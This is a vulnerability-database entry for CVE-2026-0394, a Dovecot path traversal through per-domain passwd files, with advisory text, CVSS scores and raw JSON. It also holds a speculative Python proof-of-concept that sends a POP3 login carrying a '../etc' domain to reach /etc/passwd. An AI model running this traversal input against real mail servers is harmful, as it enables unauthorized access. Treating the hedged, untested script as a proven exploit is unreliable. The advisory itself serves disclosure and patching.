Security Vulnerability Report
中文
CVE-2026-0394 CVSS 5.3 MEDIUM

CVE-2026-0394

Published: 2026-03-27 09:16:19
Last Modified: 2026-04-29 19:40:47

Description

When dovecot has been configured to use per-domain passwd files, and they are placed one path component above /etc, or slash has been added to allowed characters, path traversal can happen if the domain component is directory partial. This allows inadvertently reading /etc/passwd (or some other path which ends with passwd). If this file contains passwords, it can be used to authenticate wrongly, or if this is userdb, it can unexpectly make system users appear valid users. Upgrade to fixed version, or use different authentication scheme that does not rely on paths. Alternatively you can also ensure that the per-domain passwd files are in some other location, such as /etc/dovecot/auth/%d. No publicly available exploits are known.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:dovecot:dovecot:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:open-xchange:dovecot:*:*:*:*:pro:*:*:* - VULNERABLE
Dovecot (配置使用按域passwd文件且位于特定路径的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket # PoC for CVE-2026-0394 Dovecot Path Traversal # This script demonstrates the concept of path traversal via the domain field. # Target configuration: per-domain passwd files in /etc (or similar). target_host = "192.168.1.10" target_port = 110 # POP3 port # Payload uses path traversal to reach /etc/passwd # Assuming the config expects /etc/%d/passwd # Sending domain as "../etc" might result in /etc/../etc/passwd or similar logic # depending on exact implementation details described in the advisory. # The advisory mentions "domain component is directory partial". payload_domain = "../etc" username = "test_user" password = "any_password" try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_host, target_port)) # Receive banner print(s.recv(1024).decode()) # Attempt authentication using the malicious domain # Format: USER username@domain cmd = f"USER {username}@{payload_domain}\r\n" s.send(cmd.encode()) print(f"Sent: {cmd.strip()}") resp = s.recv(1024).decode() print(f"Received: {resp}") # The vulnerability allows reading /etc/passwd if the path resolves correctly. # This PoC checks if the server responds differently or allows login based on the file. s.close() except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0394", "sourceIdentifier": "[email protected]", "published": "2026-03-27T09:16:19.283", "lastModified": "2026-04-29T19:40:46.587", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "When dovecot has been configured to use per-domain passwd files, and they are placed one path component above /etc, or slash has been added to allowed characters, path traversal can happen if the domain component is directory partial. This allows inadvertently reading /etc/passwd (or some other path which ends with passwd). If this file contains passwords, it can be used to authenticate wrongly, or if this is userdb, it can unexpectly make system users appear valid users. Upgrade to fixed version, or use different authentication scheme that does not rely on paths. Alternatively you can also ensure that the per-domain passwd files are in some other location, such as /etc/dovecot/auth/%d. No publicly available exploits are known."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dovecot:dovecot:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.4.0", "matchCriteriaId": "65BB008F-7133-4124-B6EC-8557857AA205"}, {"vulnerable": true, "criteria": "cpe:2.3:a:open-xchange:dovecot:*:*:*:*:pro:*:*:*", "versionEndExcluding": "3.1.0", "matchCriteriaId": "2B2A6FAE-BE83-47A7-9ECE-8F7B6EAF334B"}]}]}], "references": [{"url": "https://documentation.open-xchange.com/dovecot/security/advisories/csaf/2026/oxdc-adv-2026-0001.json", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}